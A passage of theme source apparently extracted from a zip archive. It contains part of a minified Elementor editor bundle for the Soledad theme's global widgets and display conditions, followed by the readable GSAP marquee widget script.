				this._parent.addChildModel( t, {at: this.model.collection.indexOf( this.model )} );
				var n = this._parent.children.findByModelCid( t.cid );
				this.model.destroy(), elementor.history && elementor.history.history.endItem(), n.edit && n.edit(), t.trigger( "request:edit" )
			}, onEditRequest: function () {
				elementor.getPanelView().setPage( "globalWidget", "Global Editing", {editedView: this} )
			}
		} ), e.exports = i
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.elements.models.Element.extend( {
			initialize: function () {
				this.set( {widgetType: "global"}, {silent: !0} ), elementor.modules.elements.models.Element.prototype.initialize.apply( this, arguments ), elementorFrontend.config.elements.data[this.cid].on( "change", this.onSettingsChange.bind( this ) )
			}, initSettings: function () {
				var e = this.getGlobalModel(), t = e.get( "settings" );
				this.set( "settings", t ), elementorFrontend.config.elements.data[this.cid] = t, elementorFrontend.config.elements.editSettings[this.cid] = e.get( "editSettings" )
			}, initEditSettings: function () {
			}, getGlobalModel: function () {
				var e = this.get( "templateID" );
				return soledadElementor.modules.globalWidget.getGlobalModels( e )
			}, getTitle: function () {
				var e = this.getSetting( "_title" );
				e || (
					e = this.getGlobalModel().get( "title" )
				);
				var t = soledadElementor.translate( "global" );
				return (
					       e = e.replace( new RegExp( "\\(" + t + "\\)$" ), "" )
				       ) + " (" + t + ")"
			}, getIcon: function () {
				return this.getGlobalModel().getIcon()
			}, onSettingsChange: function ( e ) {
				e.changed.elements || this.set( "previewSettings", e.toJSON( {removeDefault: !0} ), {silent: !0} )
			}, onDestroy: function () {
				var e = elementor.getPanelView(), t = e.getCurrentPageName();
				- 1 !== ["editor", "globalWidget"].indexOf( t ) && e.setPage( "elements" )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.layouts.panel.pages.elements.views.Elements.extend( {
			id: "elementor-global-templates", getEmptyView: function () {
				return this.collection.length ? null : n( 36 )
			}, onFilterEmpty: function () {
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = elementor.modules.layouts.panel.pages.elements.views.Global;
		e.exports = i.extend( {template: "#tmpl-elementor-panel-global-widget-no-templates", id: "elementor-panel-global-widget-no-templates", className: "elementor-nerd-box elementor-panel-nerd-box"} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = Marionette.ItemView.extend( {
			id: "elementor-panel-global-widget",
			template: "#tmpl-elementor-panel-global-widget",
			ui: {editButton: "#elementor-global-widget-locked-edit .elementor-button", unlinkButton: "#elementor-global-widget-locked-unlink .elementor-button", loading: "#elementor-global-widget-loading"},
			events: {"click @ui.editButton": "onEditButtonClick", "click @ui.unlinkButton": "onUnlinkButtonClick"},
			initialize: function () {
				this.initUnlinkDialog()
			},
			buildUnlinkDialog: function () {
				var e = this;
				return elementorCommon.dialogsManager.createWidget( "confirm", {
					id: "elementor-global-widget-unlink-dialog",
					headerMessage: soledadElementor.translate( "unlink_widget" ),
					message: soledadElementor.translate( "dialog_confirm_unlink" ),
					position: {my: "center center", at: "center center"},
					strings: {confirm: soledadElementor.translate( "unlink" ), cancel: soledadElementor.translate( "cancel" )},
					onConfirm: function () {
						e.getOption( "editedView" ).unlink()
					}
				} )
			},
			initUnlinkDialog: function () {
				var e;
				this.getUnlinkDialog = function () {
					return e || (
						e = this.buildUnlinkDialog()
					), e
				}
			},
			editGlobalModel: function () {
				var e = this.getOption( "editedView" );
				elementor.getPanelView().openEditor( e.getEditModel(), e )
			},
			onEditButtonClick: function () {
				var e = this, t = e.getOption( "editedView" ).getEditModel();
				"loaded" !== t.get( "settingsLoadedStatus" ) ? (
					e.ui.loading.removeClass( "elementor-hidden" ), soledadElementor.modules.globalWidget.requestGlobalModelSettings( t, function () {
						e.ui.loading.addClass( "elementor-hidden" ), e.editGlobalModel()
					} )
				) : e.editGlobalModel()
			},
			onUnlinkButtonClick: function () {
				this.getUnlinkDialog().show()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorInit: function () {
				elementor.channels.editor.on( "section:activated", this.onSectionActivated )
			}, onSectionActivated: function ( e, t ) {
				var n = t.getOption( "editedElementView" );
				if ( "flip-box" === n.model.get( "widgetType" ) ) {
					var i = - 1 !== ["section_side_b_content", "section_style_b"].indexOf( e );
					n.$el.toggleClass( "elementor-flip-box--flipped", i );
					var o = n.$el.find( ".elementor-flip-box__back" );
					i && o.css( "transition", "none" ), i || setTimeout( function () {
						o.css( "transition", "" )
					}, 10 )
				}
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			config: soledadElementor.config.shareButtonsNetworks, networksClassDictionary: {google: "fa fa-google-plus", pocket: "fa fa-get-pocket", email: "fa fa-envelope"}, getNetworkClass: function ( e ) {
				return this.networksClassDictionary[e] || "fa fa-" + e
			}, getNetworkTitle: function ( e ) {
				return e.text || this.config[e.button].title
			}, hasCounter: function ( e, t ) {
				return "icon" !== t.view && "yes" === t.show_counter && this.config[e].has_counter
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorInit: function () {
				var e = n( 41 );
				this.assets = {font: new e}
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.Module.extend( {
			_enqueuedFonts: [], _enqueuedTypekit: !1, onFontChange: function ( e, t ) {
				"custom" !== e && "typekit" !== e || - 1 === this._enqueuedFonts.indexOf( t ) && (
				"typekit" === e && this._enqueuedTypekit || this.getCustomFont( e, t )
				)
			}, getCustomFont: function ( e, t ) {
				soledadElementor.ajax.addRequest( "assets_manager_panel_action_data", {
					data: {service: "font", type: e, font: t}, success: function ( e ) {
						e.font_face && elementor.$previewContents.find( "style:last" ).after( '<style type="text/css">' + e.font_face + "</style>" ), e.font_url && elementor.$previewContents.find( "link:last" ).after( '<link href="' + e.font_url + '" rel="stylesheet" type="text/css">' )
					}
				} ), this._enqueuedFonts.push( t ), "typekit" === e && (
					this._enqueuedTypekit = !0
				)
			}, onInit: function () {
				elementor.channels.editor.on( "font:insertion", this.onFontChange.bind( this ) )
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorPreviewLoaded: function () {
				var e = n( 43 );
				this.commentsSkin = new e
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = function () {
			var e = this;
			e.onPanelShow = function ( e, t ) {
				var n = t.get( "settings" );
				n.controls._skin.default || n.set( "_skin", "theme_comments" )
			}, e.init = function () {
				elementor.hooks.addAction( "panel/open_editor/widget/post-comments", e.onPanelShow )
			}, e.init()
		}
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 0 );
		e.exports = i.extend( {
			onElementorInit: function () {
				elementor.addControlView( "Conditions_repeater", n( 45 ) ), elementor.hooks.addFilter( "panel/footer/behaviors", this.addFooterBehavior ), this.initConditionsLayout()
			}, addFooterBehavior: function ( e ) {
				if ( soledadElementor.config.theme_builder ) {
					var t = n( 47 );
					e.saver = {behaviorClass: t}
				}
				return e
			}, saveAndReload: function () {
				elementor.saver.saveAutoSave( {
					onSuccess: function () {
						elementor.dynamicTags.cleanCache(), elementor.reloadPreview()
					}
				} )
			}, onApplyPreview: function () {
				this.saveAndReload()
			}, onPageSettingsChange: function ( e ) {
				e.changed.preview_type && (
					e.set( {preview_id: "", preview_search_term: ""} ), this.updatePreviewIdOptions( !0 )
				), _.isUndefined( e.changed.page_template ) || elementor.saver.saveAutoSave( {
					onSuccess: function () {
						elementor.reloadPreview(), elementor.once( "preview:loaded", function () {
							elementor.getPanelView().setPage( "page_settings" )
						} )
					}
				} )
			}, updatePreviewIdOptions: function ( e ) {
				var t = elementor.settings.page.model.get( "preview_type" );
				if ( t ) {
					t = t.split( "/" );
					var n = elementor.getPanelView().getCurrentPageView(), i = n.collection.findWhere( {name: "preview_id"} );
					if ( "author" === t[1] ? i.set( {filter_type: "author", object_type: "author"} ) : "taxonomy" === t[0] ? i.set( {filter_type: "taxonomy", object_type: t[1]} ) : "single" === t[0] ? i.set( {filter_type: "post", object_type: t[1]} ) : i.set( {
						filter_type: "",
						object_type: ""
					} ), !0 === e ) {
						var o = n.children.findByModel( i );
						o.render(), o.$el.toggle( !!i.get( "filter_type" ) )
					}
				}
			}, onElementorPreviewLoaded: function () {
				soledadElementor.config.theme_builder && (
					elementor.getPanelView().on( "set:page:page_settings", this.updatePreviewIdOptions ), elementor.settings.page.model.on( "change", this.onPageSettingsChange.bind( this ) ), elementor.channels.editor.on( "elementorThemeBuilder:ApplyPreview", this.onApplyPreview.bind( this ) ), setTimeout( function () {
						elementor.$previewContents.find( "html, body" ).animate( {scrollTop: elementor.$previewContents.find( "#elementor" ).offset().top - elementor.$preview[0].contentWindow.innerHeight / 2} )
					}, 500 )
				)
			}, showConditionsModal: function () {
				var e = n( 48 ), t = soledadElementor.config.theme_builder, i = t.settings, o = new elementor.modules.elements.models.BaseSettings( i, {controls: t.template_conditions.controls} );
				this.conditionsLayout.modalContent.show( new e( {model: o, controls: o.controls} ) ), this.conditionsLayout.showModal()
			}, initConditionsLayout: function () {
				var e = n( 50 );
				this.conditionsLayout = new e
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 46 );
		e.exports = elementor.modules.controls.Repeater.extend( {
			childView: i, updateActiveRow: function () {
			}, initialize: function () {
				elementor.modules.controls.Repeater.prototype.initialize.apply( this, arguments ), this.config = soledadElementor.config.theme_builder, this.updateConditionsOptions( this.config.settings.template_type )
			}, checkConflicts: function ( e ) {
				var t = e.get( "_id" ), n = "elementor-condition-id-" + t, i = "elementor-conditions-conflict-message-" + t, o = jQuery( "#" + i );
				jQuery( "#" + n ).removeClass( "elementor-error" ), o.remove(), soledadElementor.ajax.addRequest( "theme_builder_conditions_check_conflicts", {
					unique_id: n, data: {condition: e.toJSON( {removeDefaults: !0} )}, success: function ( e ) {
						_.isEmpty( e ) || jQuery( "#" + n ).addClass( "elementor-error" ).after( '<div id="' + i + '" class="elementor-conditions-conflict-message">' + e + "</div>" )
					}
				} )
			}, updateConditionsOptions: function ( e ) {
				var t = this, n = t.config.types[e].condition_type, i = {};
				_( [n] ).each( function ( e, n ) {
					var o = t.config.conditions[e], r = {label: o.label, options: {}};
					r.options[e] = o.all_label, _( o.sub_conditions ).each( function ( e ) {
						r.options[e] = t.config.conditions[e].label
					} ), i[n] = r
				} );
				var o = this.model.get( "fields" );
				o[1].default = n, "general" === n ? o[1].groups = i : o[2].groups = i
			}, togglePublishButtonState: function () {
				var e = soledadElementor.modules.themeBuilder.conditionsLayout.modalContent.currentView.ui, t = e.publishButton, n = e.publishButtonTitle;
				this.collection.length ? (
					t.addClass( "elementor-button-success" ), n.text( elementor.translate( "publish" ) )
				) : (
					t.removeClass( "elementor-button-success" ), n.text( soledadElementor.translate( "save_without_conditions" ) )
				)
			}, onRender: function () {
				this.ui.btnAddRow.text( soledadElementor.translate( "add_condition" ) );
				var e = this;
				this.collection.each( function ( t ) {
					e.checkConflicts( t )
				} ), _.defer( this.togglePublishButtonState.bind( this ) )
			}, onRowControlChange: function ( e ) {
				this.checkConflicts( e )
			}, onRowUpdate: function () {
				elementor.modules.controls.Repeater.prototype.onRowUpdate.apply( this, arguments ), this.togglePublishButtonState()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.controls.RepeaterRow.extend( {
			template: "#tmpl-elementor-theme-builder-conditions-repeater-row", childViewContainer: ".elementor-theme-builder-conditions-repeater-row-controls", id: function () {
				return "elementor-condition-id-" + this.model.get( "_id" )
			}, onBeforeRender: function () {
				var e = this.collection.findWhere( {name: "sub_name"} ), t = this.collection.findWhere( {name: "sub_id"} ), n = this.config.conditions[this.model.attributes.sub_name];
				e.attributes.groups = this.getOptions(), n && n.controls && _( n.controls ).each( function ( e ) {
					t.set( e ), t.set( "name", "sub_id" )
				} )
			}, initialize: function () {
				elementor.modules.controls.RepeaterRow.prototype.initialize.apply( this, arguments ), this.config = soledadElementor.config.theme_builder
			}, updateOptions: function () {
				(
				this.model.changed.name && this.model.set( {sub_name: "", sub_id: ""} ), this.model.changed.name || this.model.changed.sub_name
				) && (
					this.model.set( "sub_id", "" ), this.collection.findWhere( {name: "sub_id"} ).set( {type: "select", options: {"": "All"}} ), this.render()
				);
				this.model.changed.type && this.setTypeAttribute()
			}, getOptions: function () {
				var e = this, t = e.config.conditions[this.model.get( "name" )];
				if ( t ) {
					var n = {"": t.all_label};
					return _( t.sub_conditions ).each( function ( t, i ) {
						var o, r = e.config.conditions[t];
						r && (
							r.sub_conditions.length ? (
								(
									o = {label: r.label, options: {}}
								).options[t] = r.all_label, _( r.sub_conditions ).each( function ( t ) {
									o.options[t] = e.config.conditions[t].label
								} ), n["key" + i] = o
							) : n[t] = r.label
						)
					} ), n
				}
			}, setTypeAttribute: function () {
				var e = this.children.findByModel( this.collection.findWhere( {name: "type"} ) );
				e.$el.attr( "data-elementor-condition-type", e.getControlValue() )
			}, onRender: function () {
				var e = this.collection.findWhere( {name: "name"} ), t = this.collection.findWhere( {name: "sub_name"} ), n = this.collection.findWhere( {name: "sub_id"} ), i = this.children.findByModel( e ), o = this.children.findByModel( t ), r = this.children.findByModel( n ),
					l = this.config.conditions[this.model.attributes.name], s = this.config.conditions[this.model.attributes.sub_name], a = this.config.types[this.config.settings.template_type];
				a.condition_type !== i.getControlValue() || "general" === i.getControlValue() || _.isEmpty( l.sub_conditions ) || i.$el.hide(), (
					                                                                                                                                !l || _.isEmpty( l.sub_conditions ) && _.isEmpty( l.controls ) || !i.getControlValue() || "general" === i.getControlValue()
				                                                                                                                                ) && o.$el.hide(), s && !_.isEmpty( s.controls ) && o.getControlValue() || r.$el.hide(), "singular" === a.condition_type && "" === o.getControlValue() && o.setValue( "post" ), this.setTypeAttribute()
			}, onModelChange: function () {
				elementor.modules.controls.RepeaterRow.prototype.onModelChange.apply( this, arguments ), this.updateOptions()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = elementor.modules.components.saver.behaviors.FooterSaver;
		e.exports = i.extend( {
			ui: function () {
				var e = i.prototype.ui.apply( this, arguments );
				return e.menuConditions = "#elementor-panel-saver-conditions", e.buttonPreviewSettings = "#elementor-panel-footer-theme-builder-button-preview-settings", e.buttonOpenPreview = "#elementor-panel-footer-theme-builder-button-open-preview", e
			}, events: function () {
				var e = i.prototype.events.apply( this, arguments );
				return delete e["click @ui.buttonPreview"], e["click @ui.menuConditions"] = "onClickMenuConditions", e["click @ui.buttonPreviewSettings"] = "onClickButtonPreviewSettings", e["click @ui.buttonOpenPreview"] = "onClickButtonPreview", e
			}, initialize: function () {
				i.prototype.initialize.apply( this, arguments ), elementor.settings.page.model.on( "change", this.onChangeLocation.bind( this ) )
			}, onRender: function () {
				i.prototype.onRender.apply( this, arguments );
				var e = jQuery( "<div>", {id: "elementor-panel-saver-conditions", class: "elementor-panel-footer-sub-menu-item", html: '<i class="elementor-icon fa fa-paper-plane"></i><span class="elementor-title">' + soledadElementor.translate( "display_conditions" ) + "</span>"} );
				this.ui.menuConditions = e, this.toggleMenuConditions(), this.ui.saveTemplate.before( e ), this.ui.buttonPreview.tipsy( "disable" ).html( jQuery( "#tmpl-elementor-theme-builder-button-preview" ).html() ).addClass( "elementor-panel-footer-theme-builder-buttons-wrapper elementor-toggle-state" )
			}, toggleMenuConditions: function () {
				this.ui.menuConditions.toggle( !!soledadElementor.config.theme_builder.settings.location )
			}, onChangeLocation: function ( e ) {
				_.isUndefined( e.changed.location ) || (
					soledadElementor.config.theme_builder.settings.location = e.changed.location, this.toggleMenuConditions()
				)
			}, onClickMenuConditions: function () {
				soledadElementor.modules.themeBuilder.showConditionsModal()
			}, onClickButtonPublish: function () {
				var e = soledadElementor.config.theme_builder.settings.conditions.length, t = soledadElementor.config.theme_builder.settings.location, n = "draft" === elementor.settings.page.model.get( "post_status" );
				e && !n || !t ? i.prototype.onClickButtonPublish.apply( this, arguments ) : soledadElementor.modules.themeBuilder.showConditionsModal()
			}, onClickButtonPreviewSettings: function () {
				var e = elementor.getPanelView();
				e.setPage( "page_settings" ), e.getCurrentPageView().activateSection( "preview_settings" ), e.getCurrentPageView()._renderChildren()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = n( 49 );
		e.exports = i.extend( {
			id: "elementor-theme-builder-conditions-view", template: "#tmpl-elementor-theme-builder-conditions-view", childViewContainer: "#elementor-theme-builder-conditions-controls", ui: function () {
				var e = i.prototype.ui.apply( this, arguments );
				return e.publishButton = "#elementor-theme-builder-conditions__publish", e.publishButtonTitle = "#elementor-theme-builder-conditions__publish__title", e
			}, events: {"click @ui.publishButton": "onClickPublish"}, templateHelpers: function () {
				return {title: soledadElementor.translate( "conditions_title" ), description: soledadElementor.translate( "conditions_description" )}
			}, childViewOptions: function () {
				return {elementSettingsModel: this.model}
			}, onClickPublish: function ( e ) {
				var t = this, n = jQuery( e.currentTarget ), i = this.model.toJSON( {removeDefault: !0} );
				e.stopPropagation(), n.attr( "disabled", !0 ).addClass( "elementor-button-state" ), soledadElementor.ajax.addRequest( "theme_builder_save_conditions", {
					data: i, success: function () {
						soledadElementor.config.theme_builder.settings.conditions = t.model.get( "conditions" ), elementor.saver.publish()
					}, complete: function () {
						t.afterAjax( n )
					}
				} )
			}, afterAjax: function ( e ) {
				e.attr( "disabled", !1 ).removeClass( "elementor-button-state" ), soledadElementor.modules.themeBuilder.conditionsLayout.modal.hide()
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		e.exports = elementor.modules.views.ControlsStack.extend( {
			activeTab: "content", activeSection: "settings", initialize: function () {
				this.collection = new Backbone.Collection( _.values( this.options.controls ) )
			}, filter: function ( e ) {
				if ( "section" === e.get( "type" ) ) {
					return !0;
				}
				var t = e.get( "section" );
				return !t || t === this.activeSection
			}, childViewOptions: function () {
				return {elementSettingsModel: this.model}
			}
		} )
	}, function ( e, t, n ) {
		"use strict";
		var i = elementor.modules.components.templateLibrary.views.BaseModalLayout;
		e.exports = i.extend( {
			getModalOptions: function () {
				return {id: "elementor-conditions-modal"}
			}, getLogoOptions: function () {
				return {title: soledadElementor.translate( "display_conditions" )}
			}, initialize: function () {
				i.prototype.initialize.apply( this, arguments ), this.showLogo()
			}
		} )
	}
] );PK     N\,A6  6  "  inc/elementor/assets/js/marquee.jsnu [        (function ($, elementor) {
	var debounce = function (func, wait, immediate) {
		// 'private' variable for instance
		// The returned function will be able to reference this due to closure.
		// Each call to the returned function will share this common timer.
		var timeout;
	  
		// Calling debounce returns a new anonymous function
		return function () {
		  // reference the context and args for the setTimeout function
		  var context = this,
			args = arguments;
	  
		  // Should the function be called now? If immediate is true
		  //   and not already in a timeout then the answer is: Yes
		  var callNow = immediate && !timeout;
	  
		  // This is the basic debounce behaviour where you can call this
		  //   function several times, but it will only execute once
		  //   [before or after imposing a delay].
		  //   Each time the returned function is called, the timer starts over.
		  clearTimeout(timeout);
	  
		  // Set the new timeout
		  timeout = setTimeout(function () {
			// Inside the timeout function, clear the timeout variable
			// which will let the next execution run when in 'immediate' mode
			timeout = null;
	  
			// Check if the function already ran with the immediate flag
			if (!immediate) {
			  // Call the original function with apply
			  // apply lets you define the 'this' object as well as the arguments
			  //    (both captured before setTimeout)
			  func.apply(context, args);
			}
		  }, wait);
	  
		  // Immediate mode and no wait timer? Execute the function..
		  if (callNow) func.apply(context, args);
		};
	  };
	$(window).on("elementor/frontend/init", function () {
		let ModuleHandler = elementorModules.frontend.handlers.Base,
			ListMarquee;

		ListMarquee = ModuleHandler.extend({
			bindEvents: function () {
				this.run();
			},
			getDefaultSettings: function () {
				return {
					allowHTML: true,
				};
			},

			onElementChange: debounce(function (prop) {
				if (prop.indexOf("marquee_") !== -1) {
					this.run();
				}
			}, 400),

			settings: function (key) {
				return this.getElementSettings("marquee_" + key);
			},

			run: function () {
				let isElementorEditor = elementorFrontend.isEditMode();
				if (isElementorEditor) {
					return;
				}
				const widgetID = this.$element.data("id");
				var self = this;
				var options = this.getDefaultSettings();
				var $container = this.$element.find(".penci-marquee-el");

				if (!$container) {
					return;
				}

				let advancedOptions =
					self.settings("advanced") === "yes" ? true : false;

				if (advancedOptions) {
					$("body").css("overflow-x", "hidden");
				}

				var widgetContainer = ".elementor-element-" + widgetID;

				let boxes = gsap.utils.toArray(
					widgetContainer + " .marquee-content"
				);
				// Function to check if boxes width is less than container width, if so clone boxes to fill it
				const ensureFullWidth = (boxes) => {
					let totalBoxWidth = boxes.reduce(
						(total, box) => total + box.offsetWidth,
						0
					);
					// if totalBoxwidth is 0 then return
					if (totalBoxWidth == 0) {
						return boxes;
					}
					let screenWidth = window.innerWidth;
					// Clone boxes if the total width is less than the container width
					while (totalBoxWidth < screenWidth) {
						boxes.forEach((box) => {
							const clone = box.cloneNode(true); // Clone the box
							box.parentNode.appendChild(clone); // Append the clone to the container
						});
						boxes = gsap.utils.toArray(
							widgetContainer + " .marquee-content"
						); // Update boxes array
						totalBoxWidth = boxes.reduce(
							(total, box) => total + box.offsetWidth,
							0
						); // Recalculate total width
					}

					return boxes;
				};

				// Ensure that boxes fill the container width
				boxes = ensureFullWidth(boxes);

				const isRTL = document.documentElement.dir === "rtl";
				const reversedDirection =
					(self.settings("direction") === "right") !== isRTL;

				let marqueeSpeed = self.settings("speed")
						? self.settings("speed") / 100
						: 1,
					isClickable =
						self.settings("clickable") === "yes" ? true : false,
					isPauseOnHover =
						self.settings("pause_on_hover") === "yes"
							? true
							: false,
					isDraggable =
						self.settings("draggable") === "yes" ? true : false,
					spacing = self.settings("spacing")
						? self.settings("spacing")
						: 0,
					isLoop = self.settings("loop") === "yes" ? true : false;

				let activeElement;
				const loop = self.horizontalLoop(boxes, {
					paused: false,
					draggable: isDraggable,
					repeat: -1,
					speed: marqueeSpeed,
					paddingRight: spacing,
					reversed: reversedDirection,
					center: true,
					reversedDirection: reversedDirection,
					onChange: (element, index) => {
						// when the active element changes, this function gets called.
						activeElement &&
							activeElement.classList.remove("active");
						element.classList.add("active");
						activeElement = element;
					},
				});

				if (isPauseOnHover) {
					self.pauseOnHover(loop, boxes);
				}

				if (isClickable) {
					$(boxes).on("mouseleave", () => {
						if (loop.reversed()) {
							loop.play();
							loop.reverse();
						} else {
							loop.play();
							loop.reversed();
						}
					});
					// loop.pause();
					boxes.forEach((box, i) => {
						box.addEventListener("click", () => {
							loop.toIndex(i, {
								duration: 0.8,
								ease: "power1.inOut",
							});
						});
					});
				}
			},

			pauseOnHover: function (tween, boxes) {
				$(boxes).on("mouseenter", () => {
					tween.pause();
				});

				$(boxes).on("mouseleave", () => {
					if (tween.reversed()) {
						tween.play();
						tween.reverse();
					} else {
						tween.play();
						tween.reversed();
					}
				});
			},
			horizontalLoop: function (items, config, reverseDirection = false) {
				var self = this;
				items = gsap.utils.toArray(items);
				config = config || {};
				let onChange = config.onChange,
					lastIndex = 0,
					tl = gsap.timeline({
						repeat: config.repeat,
						paused: config.paused,
						defaults: { ease: "none" },
						onReverseComplete: () =>
							tl.totalTime(tl.rawTime() + tl.duration() * 100),
					}),
					length = items.length,
					startX = items[0].offsetLeft,
					times = [],
					widths = [],
					spaceBefore = [],
					xPercents = [],
					curIndex = 0,
					center = config.center,
					pixelsPerSecond = (config.speed || 1) * 100,
					snap =
						config.snap === false
							? (v) => v
							: gsap.utils.snap(config.snap || 1), // some browsers shift by a pixel to accommodate flex layouts, so for example if width is 20% the first element's width might be 242px, and the next 243px, alternating back and forth. So we snap to 5 percentage points to make things look more natural
					timeOffset = 0,
					container =
						center === true
							? items[0].parentNode
							: gsap.utils.toArray(center)[0] ||
							  items[0].parentNode,
					totalWidth,
					getTotalWidth = () =>
						items[length - 1].offsetLeft +
						(xPercents[length - 1] / 100) * widths[length - 1] -
						startX +
						spaceBefore[0] +
						items[length - 1].offsetWidth *
							gsap.getProperty(items[length - 1], "scaleX") +
						(parseFloat(config.paddingRight) || 0),
					populateWidths = () => {
						let b1 = container.getBoundingClientRect(),
							b2;
						items.forEach((el, i) => {
							widths[i] = parseFloat(
								gsap.getProperty(el, "width", "px")
							);
							xPercents[i] = snap(
								(parseFloat(gsap.getProperty(el, "x", "px")) /
									widths[i]) *
									100 +
									gsap.getProperty(el, "xPercent")
							);
							b2 = el.getBoundingClientRect();
							spaceBefore[i] = b2.left - (i ? b1.right : b1.left);
							b1 = b2;
						});
						gsap.set(items, {
							// convert "x" to "xPercent" to make things responsive, and populate the widths/xPercents Arrays to make lookups faster.
							xPercent: (i) => xPercents[i],
						});
						totalWidth = getTotalWidth();
					},
					timeWrap,
					populateOffsets = () => {
						timeOffset = center
							? (tl.duration() * (container.offsetWidth / 2)) /
							  totalWidth
							: 0;
						center &&
							times.forEach((t, i) => {
								times[i] = timeWrap(
									tl.labels["label" + i] +
										(tl.duration() * widths[i]) /
											2 /
											totalWidth -
										timeOffset
								);
							});
					},
					getClosest = (values, value, wrap) => {
						let i = values.length,
							closest = 1e10,
							index = 0,
							d;
						while (i--) {
							d = Math.abs(values[i] - value);
							if (d > wrap / 2) {
								d = wrap - d;
							}
							if (d < closest) {
								closest = d;
								index = i;
							}
						}
						return index;
					},
					populateTimeline = () => {
						let i, item, curX, distanceToStart, distanceToLoop;
						tl.clear();
						for (i = 0; i < length; i++) {
							item = items[i];
							curX = (xPercents[i] / 100) * widths[i];
							distanceToStart =
								item.offsetLeft +
								curX -
								startX +
								spaceBefore[0];
							distanceToLoop =
								distanceToStart +
								widths[i] * gsap.getProperty(item, "scaleX");
							tl.to(
								item,
								{
									xPercent: snap(
										((curX - distanceToLoop) / widths[i]) *
											100
									),
									duration: distanceToLoop / pixelsPerSecond,
								},
								0
							)
								.fromTo(
									item,
									{
										xPercent: snap(
											((curX -
												distanceToLoop +
												totalWidth) /
												widths[i]) *
												100
										),
									},
									{
										xPercent: xPercents[i],
										duration:
											(curX -
												distanceToLoop +
												totalWidth -
												curX) /
											pixelsPerSecond,
										immediateRender: false,
									},
									distanceToLoop / pixelsPerSecond
								)
								.add(
									"label" + i,
									distanceToStart / pixelsPerSecond
								);
							times[i] = distanceToStart / pixelsPerSecond;
						}
						timeWrap = gsap.utils.wrap(0, tl.duration());
					},
					refresh = (deep) => {
						let progress = tl.progress();
						tl.progress(0, true);
						populateWidths();
						deep && populateTimeline();
						populateOffsets();
						deep && tl.draggable
							? tl.time(times[curIndex], true)
							: tl.progress(progress, true);
					},
					proxy;
				gsap.set(items, { x: 0 });
				populateWidths();
				populateTimeline();
				populateOffsets();
				window.addEventListener("resize", () => refresh(true));
				function toIndex(index, vars) {
					vars = vars || {};

					if (reverseDirection) {
						index = length - index;
					}
					Math.abs(index - curIndex) > length / 2 &&
						(index += index > curIndex ? -length : length); // always go in the shortest direction
					let newIndex = gsap.utils.wrap(0, length, index),
						time = times[newIndex];
					if (time > tl.time() !== index > curIndex) {
						// if we're wrapping the timeline's playhead, make the proper adjustments
						time += tl.duration() * (index > curIndex ? 1 : -1);
					}
					if (time < 0 || time > tl.duration()) {
						vars.modifiers = { time: timeWrap };
					}
					curIndex = newIndex;
					vars.overwrite = true;
					gsap.killTweensOf(proxy);
					return tl.tweenTo(time, vars);
				}
				tl.next = (vars) => toIndex(curIndex + 1, vars);
				tl.previous = (vars) => toIndex(curIndex - 1, vars);
				tl.current = () => curIndex;
				tl.toIndex = (index, vars) => toIndex(index, vars);
				tl.closestIndex = (setCurrent) => {
					let index = getClosest(times, tl.time(), tl.duration());
					setCurrent && (curIndex = index);
					return index;
				};
				tl.times = times;
				tl.progress(1, true).progress(0, true); // pre-render for performance
				if (config.reversed) {
					tl.vars.onReverseComplete();
					tl.reverse();
				}

				if (config.draggable && typeof Draggable === "function") {
					proxy = document.createElement("div");
					let wrap = gsap.utils.wrap(0, 1),
						ratio,
						startProgress,
						draggable,
						dragSnap,
						align = () =>
							tl.progress(
								wrap(
									startProgress +
										(draggable.startX - draggable.x) * ratio
								)
							),
						syncIndex = () => tl.closestIndex(true);
					typeof InertiaPlugin === "undefined" &&
						console.warn(
							"InertiaPlugin required for momentum-based scrolling and snapping. https://greensock.com/club"
						);
					draggable = Draggable.create(proxy, {
						trigger: items[0].parentNode,
						type: "x",
						onPressInit() {
							gsap.killTweensOf(tl);
							startProgress = tl.progress();
							refresh();
							ratio = 1 / totalWidth;
							gsap.set(proxy, { x: startProgress / -ratio });
						},
						onDrag: align,
						onThrowUpdate: align,
						inertia: true,
						snap: (value) => {
							let time = -(value * ratio) * tl.duration(),
								wrappedTime = timeWrap(time),
								snapTime =
									times[
										getClosest(
											times,
											wrappedTime,
											tl.duration()
										)
									],
								dif = snapTime - wrappedTime;
							Math.abs(dif) > tl.duration() / 2 &&
								(dif +=
									dif < 0 ? tl.duration() : -tl.duration());
							return (time + dif) / tl.duration() / -ratio;
						},
						onRelease: syncIndex,
						onThrowComplete: syncIndex,
					})[0];
					tl.draggable = draggable;
				}
				tl.closestIndex(true);
				onChange && onChange(items[curIndex], curIndex);
				return tl;
			},
		});

		elementorFrontend.hooks.addAction(
			"frontend/element_ready/penci-marquee.default",
			function ($scope) {
				elementorFrontend.elementsHandler.addHandler(ListMarquee, {
					$element: $scope,
				});
			}
		);
	});
})(jQuery, window.elementorFrontend);
